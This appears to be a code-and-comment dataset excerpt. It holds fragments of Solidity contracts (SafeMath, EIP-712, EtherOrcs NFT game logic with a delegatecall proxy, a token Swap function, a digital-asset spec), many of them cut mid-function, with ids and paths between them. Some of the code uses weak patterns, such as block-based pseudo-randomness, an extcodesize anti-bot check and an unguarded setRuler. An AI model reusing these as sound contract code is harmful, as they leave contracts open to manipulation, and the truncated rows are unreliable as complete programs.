two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library */ library Math { /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } }
invariant _____ wi = weight index i | | wi bi = balance index i | | bi ^ = i i = invariant /
function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); } pragma solidity ^0.7.0; import "../../lib/math/FixedPoint.sol"; import "../../lib/math/Math.sol"; import "../../lib/helpers/InputHelpers.sol"; { invariant = FixedPoint.ONE; for (uint256 i = 0; i < normalizedWeights.length; i++) { invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i])); } _require(invariant > 0, Errors.ZERO_INVARIANT); }
273,498
// SPDX-License-Identifier: Unlicense pragma solidity 0.8.7; import "./EtherOrcs.sol"; contract EtherTransition { address public constant impl = 0xD6088CE6819e7583b94Ae635898dEe5A23789908; address implementation_; address public admin; //Lame requirement from opensea uint256 public totalSupply; uint256 public oldSupply; uint256 public minted; mapping(address => uint256) public balanceOf; mapping(uint256 => address) public ownerOf; mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public isApprovedForAll; uint256 public constant cooldown = 10 minutes; uint256 public constant startingTime = 1633951800 + 4.5 hours; address public migrator; bytes32 internal entropySauce; ERC20 public zug; mapping (address => bool) public auth; mapping (uint256 => Orc) public orcs; mapping (uint256 => Action) public activities; mapping (Places => LootPool) public lootPools; uint256 mintedFromThis = 0; bool mintOpen = false; MetadataHandlerLike metadaHandler; mapping (bytes4 => bool) public unlocked; struct LootPool { uint8 minLevel; uint8 minLootTier; uint16 cost; uint16 total; uint16 tier_1; uint16 tier_2; uint16 tier_3; uint16 tier_4; } struct Orc { uint8 body; uint8 helm; uint8 mainhand; uint8 offhand; uint16 level; uint16 zugModifier; uint32 lvlProgress; } enum Actions { UNSTAKED, FARMING, TRAINING } struct Action { address owner; uint88 timestamp; Actions action; } // These are all the places you can go search for loot enum Places { TOWN, DUNGEON, CRYPT, CASTLE, DRAGONS_LAIR, THE_ETHER, TAINTED_KINGDOM, OOZING_DEN, ANCIENT_CHAMBER, ORC_GODS } event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event ActionMade(address owner, uint256 id, uint256 timestamp, uint8 activity); function doActionSpecial(uint256 id, address orcOwner, uint256 timestamp, uint8 action_) external { require(msg.sender == migrator); _transfer(orcOwner, address(this), id); activities[id] = Action({owner: orcOwner, action: Actions(action_),timestamp: uint88(timestamp)}); emit ActionMade(orcOwner, id, block.timestamp, uint8(action_)); } function _getReferenceTypeSlot(bytes32 slot) internal pure returns (bytes32 value) { return keccak256(abi.encodePacked(bytes32("0x12"), slot)); } function setUnlocked(bytes4[] calldata funcs, bool status) external { require(msg.sender == admin); for (uint256 index = 0; index < funcs.length; index++) { unlocked[funcs[index]] = status; } } function _transfer(address from, address to, uint256 tokenId) internal { require(ownerOf[tokenId] == from); balanceOf[from]--; balanceOf[to]++; delete getApproved[tokenId]; ownerOf[tokenId] = to; emit Transfer(msg.sender, to, tokenId); } function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } fallback() external { require(unlocked[msg.sig]); _delegate(impl); } } // SPDX-License-Identifier: Unlicense pragma solidity 0.8.7; import "./ERC20.sol"; import "./ERC721.sol"; // ___ _ _ ___ // | __| |_| |_ ___ _ _ / _ \ _ _ __ ___ // | _|| _| ' \/ -_) '_| | (_) | '_/ _(_-< // |___|\__|_||_\___|_| \___/|_| \__/__/ // interface MetadataHandlerLike { function getTokenURI(uint16 id, uint8 body, uint8 helm, uint8 mainhand, uint8 offhand, uint16 level, uint16 zugModifier) external view returns (string memory); } contract EtherOrcs is ERC721 { /*/////////////////////////////////////////////////////////////// Global STATE //////////////////////////////////////////////////////////////*/ uint256 public constant cooldown = 10 minutes; uint256 public constant startingTime = 1633951800 + 4.5 hours; address public migrator; bytes32 internal entropySauce; ERC20 public zug; mapping (address => bool) public auth; mapping (uint256 => Orc) public orcs; mapping (uint256 => Action) public activities; mapping (Places => LootPool) public lootPools; uint256 mintedFromThis = 0; bool mintOpen = false; MetadataHandlerLike metadaHandler; function setAddresses(address mig, address meta) external onlyOwner { migrator = mig; metadaHandler = MetadataHandlerLike(meta); } function setAuth(address add, bool isAuth) external onlyOwner { auth[add] = isAuth; } function transferOwnership(address newOwner) external onlyOwner{ admin = newOwner; } function setMintable(bool val) external onlyOwner { mintOpen = val; } function resetMinted() external onlyOwner { minted = 0; } function tokenURI(uint256 id) external view returns(string memory) { Orc memory orc = orcs[id]; return metadaHandler.getTokenURI(uint16(id), orc.body, orc.helm, orc.mainhand, orc.offhand, orc.level, orc.zugModifier); } event ActionMade(address owner, uint256 id, uint256 timestamp, uint8 activity); /*/////////////////////////////////////////////////////////////// DATA STRUCTURES //////////////////////////////////////////////////////////////*/ struct LootPool { uint8 minLevel; uint8 minLootTier; uint16 cost; uint16 total; uint16 tier_1; uint16 tier_2; uint16 tier_3; uint16 tier_4; } struct Orc { uint8 body; uint8 helm; uint8 mainhand; uint8 offhand; uint16 level; uint16 zugModifier; uint32 lvlProgress; } enum Actions { UNSTAKED, FARMING, TRAINING } struct Action { address owner; uint88 timestamp; Actions action; } // These are all the places you can go search for loot enum Places { TOWN, DUNGEON, CRYPT, CASTLE, DRAGONS_LAIR, THE_ETHER, TAINTED_KINGDOM, OOZING_DEN, ANCIENT_CHAMBER, ORC_GODS } /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ // function initialize() public onlyOwner { // } /*/////////////////////////////////////////////////////////////// MODIFIERS //////////////////////////////////////////////////////////////*/ modifier noCheaters() { uint256 size = 0; address acc = msg.sender; assembly { size := extcodesize(acc)} require(auth[msg.sender] || (msg.sender == tx.origin && size == 0), "you're trying to cheat!"); _; // We'll use the last caller hash to add entropy to next caller entropySauce = keccak256(abi.encodePacked(acc, block.coinbase)); } modifier ownerOfOrc(uint256 id) { require(ownerOf[id] == msg.sender || activities[id].owner == msg.sender, "not your orc"); _; } modifier onlyOwner() { require(msg.sender == admin); _; } /*/////////////////////////////////////////////////////////////// PUBLIC FUNCTIONS //////////////////////////////////////////////////////////////*/ function mint() public noCheaters returns (uint256 id) { uint256 cost = _getMintingPrice(); uint256 rand = _rand(); require(address(zug) != address(0) && mintOpen); if (cost > 0) zug.burn(msg.sender, cost); return _mintOrc(rand); } // Craft an identical orc from v1! function craft(address owner_, uint256 id, uint8 body, uint8 helm, uint8 mainhand, uint8 offhand, uint16 level, uint32 lvlProgres) public { require(msg.sender == migrator); _mint(owner_, id); uint16 zugModifier = _tier(helm) + _tier(mainhand) + _tier(offhand); orcs[uint256(id)] = Orc({body: body, helm: helm, mainhand: mainhand, offhand: offhand, level: level, lvlProgress: lvlProgres, zugModifier:zugModifier}); } function doAction(uint256 id, Actions action_) public ownerOfOrc(id) noCheaters { _doAction(id, msg.sender, action_); } function _doAction(uint256 id, address orcOwner, Actions action_) internal { Action memory action = activities[id]; require(action.action != action_, "already doing that"); // Picking the largest value between block.timestamp, action.timestamp and startingTime uint88 timestamp = uint88(block.timestamp > action.timestamp ? block.timestamp : action.timestamp); if (action.action == Actions.UNSTAKED) _transfer(orcOwner, address(this), id); else { if (block.timestamp > action.timestamp) _claim(id); timestamp = timestamp > action.timestamp ? timestamp : action.timestamp; } address owner_ = action_ == Actions.UNSTAKED ? address(0) : orcOwner; if (action_ == Actions.UNSTAKED) _transfer(address(this), orcOwner, id); activities[id] = Action({owner: owner_, action: action_,timestamp: timestamp}); emit ActionMade(orcOwner, id, block.timestamp, uint8(action_)); } function doActionWithManyOrcs(uint256[] calldata ids, Actions action_) external { for (uint256 index = 0; index < ids.length; index++) { _doAction(ids[index], msg.sender, action_); } } function claim(uint256[] calldata ids) external { for (uint256 index = 0; index < ids.length; index++) { _claim(ids[index]); } } function _claim(uint256 id) internal noCheaters { Orc memory orc = orcs[id]; Action memory action = activities[id]; if(block.timestamp <= action.timestamp) return; uint256 timeDiff = uint256(block.timestamp - action.timestamp); if (action.action == Actions.FARMING) zug.mint(action.owner, claimableZug(timeDiff, orc.zugModifier)); if (action.action == Actions.TRAINING) { uint256 progress = timeDiff * 3000 / 1 days; orcs[id].lvlProgress = uint16(progress % 1000); orcs[id].level += uint16(progress / 1000); } activities[id].timestamp = uint88(block.timestamp); } function pillage(uint256 id, Places place, bool tryHelm, bool tryMainhand, bool tryOffhand) public ownerOfOrc(id) noCheaters { require(block.timestamp >= uint256(activities[id].timestamp), "on cooldown"); require(place != Places.ORC_GODS, "You can't pillage the Orc God"); if(activities[id].timestamp < block.timestamp) _claim(id); // Need to claim to not have equipment reatroactively multiplying uint256 rand_ = _rand(); LootPool memory pool = lootPools[place]; require(orcs[id].level >= uint16(pool.minLevel), "below minimum level"); if (pool.cost > 0) { require(block.timestamp - startingTime > 14 days); zug.burn(msg.sender, uint256(pool.cost) * 1 ether); } uint8 item; if (tryHelm) { ( pool, item ) = _getItemFromPool(pool, _randomize(rand_,"HELM", id)); if (item != 0 ) orcs[id].helm = item; } if (tryMainhand) { ( pool, item ) = _getItemFromPool(pool, _randomize(rand_,"MAINHAND", id)); if (item != 0 ) orcs[id].mainhand = item; } if (tryOffhand) { ( pool, item ) = _getItemFromPool(pool, _randomize(rand_,"OFFHAND", id)); if (item != 0 ) orcs[id].offhand = item; } if (uint(place) > 1) lootPools[place] = pool; // Update zug modifier Orc memory orc = orcs[id]; uint16 zugModifier_ = _tier(orc.helm) + _tier(orc.mainhand) + _tier(orc.offhand); orcs[id].zugModifier = zugModifier_; activities[id].timestamp = uint88(block.timestamp + cooldown); } function update(uint256 id) public ownerOfOrc(id) noCheaters { require(_tier(orcs[id].mainhand) < 10); require(block.timestamp - startingTime >= 14 days); LootPool memory pool = lootPools[Places.ORC_GODS]; require(orcs[id].level >= pool.minLevel); zug.burn(msg.sender, uint256(pool.cost) * 1 ether); _claim(id); // Need to claim to not have equipment reatroactively multiplying uint8 item = uint8(lootPools[Places.ORC_GODS].total--); orcs[id].zugModifier = 30; orcs[id].body = orcs[id].helm = orcs[id].mainhand = orcs[id].offhand = item + 40; } /*/////////////////////////////////////////////////////////////// VIEWERS //////////////////////////////////////////////////////////////*/ function claimable(uint256 id) external view returns (uint256 amount) { uint256 timeDiff = block.timestamp > activities[id].timestamp ? uint256(block.timestamp - activities[id].timestamp) : 0; amount = activities[id].action == Actions.FARMING ? claimableZug(timeDiff, orcs[id].zugModifier) : timeDiff * 3000 / 1 days; } function name() external pure returns (string memory) { return "Ether Orcs Genesis"; } function symbol() external pure returns (string memory) { return "Orcs"; } /*/////////////////////////////////////////////////////////////// MINT FUNCTION //////////////////////////////////////////////////////////////*/ function _mintOrc(uint256 rand) internal returns (uint16 id) { (uint8 body,uint8 helm,uint8 mainhand,uint8 offhand) = (0,0,0,0); { // Helpers to get Percentages uint256 sevenOnePct = type(uint16).max / 100 * 71; uint256 eightyPct = type(uint16).max / 100 * 80; uint256 nineFivePct = type(uint16).max / 100 * 95; uint256 nineNinePct = type(uint16).max / 100 * 99; id = uint16(oldSupply + minted++ + 1); // Getting Random traits uint16 randBody = uint16(_randomize(rand, "BODY", id)); body = uint8(randBody > nineNinePct ? randBody % 3 + 25 : randBody > sevenOnePct ? randBody % 12 + 13 : randBody % 13 + 1 ); uint16 randHelm = uint16(_randomize(rand, "HELM", id)); helm = uint8(randHelm < eightyPct ? 0 : randHelm % 4 + 5); uint16 randOffhand = uint16(_randomize(rand, "OFFHAND", id)); offhand = uint8(randOffhand < eightyPct ? 0 : randOffhand % 4 + 5); uint16 randMainhand = uint16(_randomize(rand, "MAINHAND", id)); mainhand = uint8(randMainhand < nineFivePct ? randMainhand % 4 + 1: randMainhand % 4 + 5); } _mint(msg.sender, id); uint16 zugModifier = _tier(helm) + _tier(mainhand) + _tier(offhand); orcs[uint256(id)] = Orc({body: body, helm: helm, mainhand: mainhand, offhand: offhand, level: 0, lvlProgress: 0, zugModifier:zugModifier}); } /*/////////////////////////////////////////////////////////////// INTERNAL HELPERS //////////////////////////////////////////////////////////////*/ /// @dev take an available item from a pool function _getItemFromPool(LootPool memory pool, uint256 rand) internal pure returns (LootPool memory, uint8 item) { uint draw = rand % pool.total--; if (draw > pool.tier_1 + pool.tier_2 + pool.tier_3 && pool.tier_4-- > 0) { item = uint8((draw % 4 + 1) + (pool.minLootTier + 3) * 4); return (pool, item); } if (draw > pool.tier_1 + pool.tier_2 && pool.tier_3-- > 0) { item = uint8((draw % 4 + 1) + (pool.minLootTier + 2) * 4); return (pool, item); } if (draw > pool.tier_1 && pool.tier_2-- > 0) { item = uint8((draw % 4 + 1) + (pool.minLootTier + 1) * 4); return (pool, item); } if (pool.tier_1-- > 0) { item = uint8((draw % 4 + 1) + pool.minLootTier * 4); return (pool, item); } } function claimableZug(uint256 timeDiff, uint16 zugModifier) internal pure returns (uint256 zugAmount) { zugAmount = timeDiff * (4 + zugModifier) * 1 ether / 1 days; } /// @dev Convert an id to its tier function _tier(uint16 id) internal pure returns (uint16) { if (id == 0) return 0; return ((id - 1) / 4 ); } /// @dev Create a bit more of randomness function _randomize(uint256 rand, string memory val, uint256 spicy) internal pure returns (uint256) { return uint256(keccak256(abi.encode(rand, val, spicy))); } function _rand() internal view returns (uint256) { return uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.basefee, block.timestamp, entropySauce))); } function _getMintingPrice() internal view returns (uint256) { uint256 supply = minted + oldSupply; if (supply > 4550) return 60 ether; return 130 ether; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.7; /// @notice Modern and gas efficient ERC-721 + ERC-20/EIP-2612-like implementation, /// including the MetaData, and partially, Enumerable extensions. contract ERC721 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ address implementation_; address public admin; //Lame requirement from opensea /*/////////////////////////////////////////////////////////////// ERC-721 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; uint256 public oldSupply; uint256 public minted; mapping(address => uint256) public balanceOf; mapping(uint256 => address) public ownerOf; mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public isApprovedForAll; /*/////////////////////////////////////////////////////////////// VIEW FUNCTION //////////////////////////////////////////////////////////////*/ function owner() external view returns (address) { return admin; } /*/////////////////////////////////////////////////////////////// ERC-20-LIKE LOGIC //////////////////////////////////////////////////////////////*/ function transfer(address to, uint256 tokenId) external { require(msg.sender == ownerOf[tokenId], "NOT_OWNER"); _transfer(msg.sender, to, tokenId); } /*/////////////////////////////////////////////////////////////// ERC-721 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) { supported = interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f; } function approve(address spender, uint256 tokenId) external { address owner_ = ownerOf[tokenId]; require(msg.sender == owner_ || isApprovedForAll[owner_][msg.sender], "NOT_APPROVED"); getApproved[tokenId] = spender; emit Approval(owner_, spender, tokenId); } function setApprovalForAll(address operator, bool approved) external { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function transferFrom(address, address to, uint256 tokenId) public { address owner_ = ownerOf[tokenId]; require( msg.sender == owner_ || msg.sender == getApproved[tokenId] || isApprovedForAll[owner_][msg.sender], "NOT_APPROVED" ); _transfer(owner_, to, tokenId); } function safeTransferFrom(address, address to, uint256 tokenId) external { safeTransferFrom(address(0), to, tokenId, ""); } function safeTransferFrom(address, address to, uint256 tokenId, bytes memory data) public { transferFrom(address(0), to, tokenId); if (to.code.length != 0) { // selector = `onERC721Received(address,address,uint,bytes)` (, bytes memory returned) = to.staticcall(abi.encodeWithSelector(0x150b7a02, msg.sender, address(0), tokenId, data)); bytes4 selector = abi.decode(returned, (bytes4)); require(selector == 0x150b7a02, "NOT_ERC721_RECEIVER"); } } /*/////////////////////////////////////////////////////////////// INTERNAL UTILS //////////////////////////////////////////////////////////////*/ function _transfer(address from, address to, uint256 tokenId) internal { require(ownerOf[tokenId] == from); balanceOf[from]--; balanceOf[to]++; delete getApproved[tokenId]; ownerOf[tokenId] = to; emit Transfer(msg.sender, to, tokenId); } function _mint(address to, uint256 tokenId) internal { require(ownerOf[tokenId] == address(0), "ALREADY_MINTED"); uint maxSupply = oldSupply + minted; require(totalSupply++ <= maxSupply, "MAX SUPPLY REACHED"); // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to]++; } ownerOf[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal { address owner_ = ownerOf[tokenId]; require(ownerOf[tokenId] != address(0), "NOT_MINTED"); totalSupply--; balanceOf[owner_]--; delete ownerOf[tokenId]; emit Transfer(owner_, address(0), tokenId); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.7; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// Taken from Solmate: https://github.com/Rari-Capital/solmate contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public constant name = "ZUG"; string public constant symbol = "ZUG"; uint8 public constant decimals = 18; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public isMinter; address public ruler; /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ constructor() { ruler = msg.sender;} function approve(address spender, uint256 value) external returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transfer(address to, uint256 value) external returns (bool) { balanceOf[msg.sender] -= value; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to] += value; } emit Transfer(msg.sender, to, value); return true; } function transferFrom( address from, address to, uint256 value ) external returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) { allowance[from][msg.sender] -= value; } balanceOf[from] -= value; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to] += value; } emit Transfer(from, to, value); return true; } /*/////////////////////////////////////////////////////////////// ORC PRIVILEGE //////////////////////////////////////////////////////////////*/ function mint(address to, uint256 value) external { require(isMinter[msg.sender], "FORBIDDEN TO MINT"); _mint(to, value); } function burn(address from, uint256 value) external { require(isMinter[msg.sender], "FORBIDDEN TO BURN"); _burn(from, value); } /*/////////////////////////////////////////////////////////////// Ruler Function //////////////////////////////////////////////////////////////*/ function setMinter(address minter, bool status) external { require(msg.sender == ruler, "NOT ALLOWED TO RULE"); isMinter[minter] = status; } function setRuler(address ruler_) external { require(msg.sender == ruler ||ruler == address(0), "NOT ALLOWED TO RULE"); ruler = ruler_; } /*/////////////////////////////////////////////////////////////// INTERNAL UTILS //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 value) internal { totalSupply += value; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to] += value; } emit Transfer(address(0), to, value); } function _burn(address from, uint256 value) internal { balanceOf[from] -= value; // This is safe because a user won't ever // have a balance larger than totalSupply! unchecked { totalSupply -= value; } emit Transfer(from, address(0), value); } }
Create a bit more of randomness
function _randomize(uint256 rand, string memory val, uint256 spicy) internal pure returns (uint256) { return uint256(keccak256(abi.encode(rand, val, spicy))); }
58,677
./partial_match/1/0xd2331fF6558F5b2Fb3a052E78b612FDcC0108BbF/sources/edmc.sol
Sets a new owner address/
function setOwner(address newOwner) internal { emit OwnershipTransferred(owner(), newOwner); ownerAddress = newOwner; }
2,766,910
./partial_match/3/0x4afc25764F51036076774d88Bc671857484EAaC2/sources/TestToken.sol
Tranfer tokens from sender to this contractsedoToken.approve(SedoX,SedoAmmount2);sedoToken.transferFrom(msg.sender, SedoX, SedoAmmount2);require(SedoAmount > 0, "You need to send to exchange at least some tokens");uint256 allowance = sedoToken.allowance(msg.sender, SedoX);require(allowance >= SedoAmmount2, "Check the token allowance");sedoToken.transferFrom(msg.sender, address(this), SedoAmmount2);msg.sender.transfer(SedoAmmount2); msg.sender.transfer(SedoAmmount2);ERC20(Sedo).transferFrom(msg.sender, SedoX, SedoAmmount2); Calculate sedox to transfer by the swapRatio;uint256 fee = SedoAmmount2 / 100; Transfer amount minus fees to sendersedoXToken.transfer(msg.sender, SedoxAmmount);
function Swap(uint SedoAmount) public{ uint256 SedoAmmount2 = SedoAmount * 10**uint(decimals); ERC20 sedoToken = ERC20(Sedo); ERC20 sedoXToken = ERC20(SedoX); sedoToken.approve(SedoX,SedoAmmount2); sedoToken.transfer(SedoX,SedoAmmount2); uint SedoxAmmount = SedoAmmount2.div(defaultSwapRatio); balances[msg.sender] = balances[msg.sender].add(SedoxAmmount); emit Transfer(address(this), msg.sender, SedoxAmmount); }
5,260,844
pragma solidity ^0.4.24; import "./interfaces/IRightsDigitalAssetSpec.sol"; import "./modules/MasterDataModule.sol"; /// @title RightsDigitalAssetSpec /// @dev ERC721 based meta data of RightsDigitalAssetObject contract. contract RightsDigitalAssetSpec is IRightsDigitalAssetSpec, MasterDataModule { /*** DATA TYPES ***/ struct DigitalAssetSpec { string name; // asset name string symbol; // asset symbol uint256 assetType; // asset type string mediaId; // media file id uint256 totalSupplyLimit; // object's total supply (0 = no limit) uint256 referenceValue; // price to buy asset by } /*** STORAGE ***/ DigitalAssetSpec[] public digitalAssetSpecs; //all spec list (this index is specId) /*** EXTERNAL FUNCTIONS ***/ /// @dev Define a DigitalAssetSpec. /// @param _name assetName /// @param _symbol assetSymbol /// @param _mediaId mediaId /// @param _totalSupplyLimit totalSupplyLimit /// @param _referenceValue referenceValue /// @return assetId function define( string _name, string _symbol, uint256 _assetType, string _mediaId, uint256 _totalSupplyLimit, uint256 _referenceValue ) public whenNotPaused { DigitalAssetSpec memory digitalAsset = DigitalAssetSpec({ name : _name, symbol: _symbol, assetType: _assetType, mediaId: _mediaId, totalSupplyLimit: _totalSupplyLimit, referenceValue: _referenceValue }); uint256 specId = digitalAssetSpecs.push(digitalAsset).sub(1); _mint(msg.sender, specId); emit Define(msg.sender, specId); } /// @dev Get DigitalAssetSpec info. /// @param _specId spec identifer /// @return spec info function getDigitalAssetSpec(uint256 _specId) public view returns ( uint256 specId, string name, string symbol, uint256 assetType, string mediaId, uint256 totalSupplyLimit, uint256 referenceValue, address owner ) { DigitalAssetSpec storage digitalAssetSpec = 